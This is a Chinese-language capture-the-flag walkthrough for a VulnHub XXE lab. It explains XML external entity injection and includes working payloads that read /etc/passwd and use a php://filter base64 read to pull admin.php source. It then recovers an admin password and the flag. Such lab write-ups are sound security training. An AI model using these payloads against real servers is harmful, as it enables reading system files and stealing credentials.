什么是XXE漏洞?
XXE也叫XML(可扩展标记语言)外部实体注入,然后我们这里拆开来解释!!!
外部实体:通过调用外部实体声明部分对XML数据进行修改、插入恶意代码。
注入:在XML数据传输过程中,数据被恶意修改,导致服务器最终执行了修改后的恶意代码。
因此XXE指的是XML数据在传输过程中,利用外部实体声明部分的“SYSTEM”关键字导致XML解析器可以从本地文件或者远程的URL中读取受保护的数据。
靶机地址:https://download.vulnhub.com/xxe/XXE.zip
靶机目标:SAFCSP{xxe_is_so_easy}
步骤一:环境搭建
步骤二:漏洞复现
1、确定靶机IP
2、扫描开放端口
3、使用御剑对目录进行扫描...发现存在robots.txt文件进行访问...
4、 访问以地址发现是用户登录界面...并尝试访问admin.php
这个文件...在用户登录界面进行抓包发现是XML格式进行的数据传输...
http://192.168.1.48/xxe/admin.php #用户登录界面
5、尝试构造XXE注入语句...读取文件成功...尝试读取XXE目录下的admin.php
文件内容...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>1</password></root>
6、将返回的Base64加密进行解密...
7、发现其中的用户administhebest
对应的MD5加密值...解密为admin@123
8、进行登录...查看页面源代码....获取flag
...
9、先进行Base32解密在进行base64解密..回到BP中再次读取文件...进行base64
解密....
10、对/etc/.flag.php读取的文件内容进行解码为 并保存成PHP文件并在PHPStudy下访问...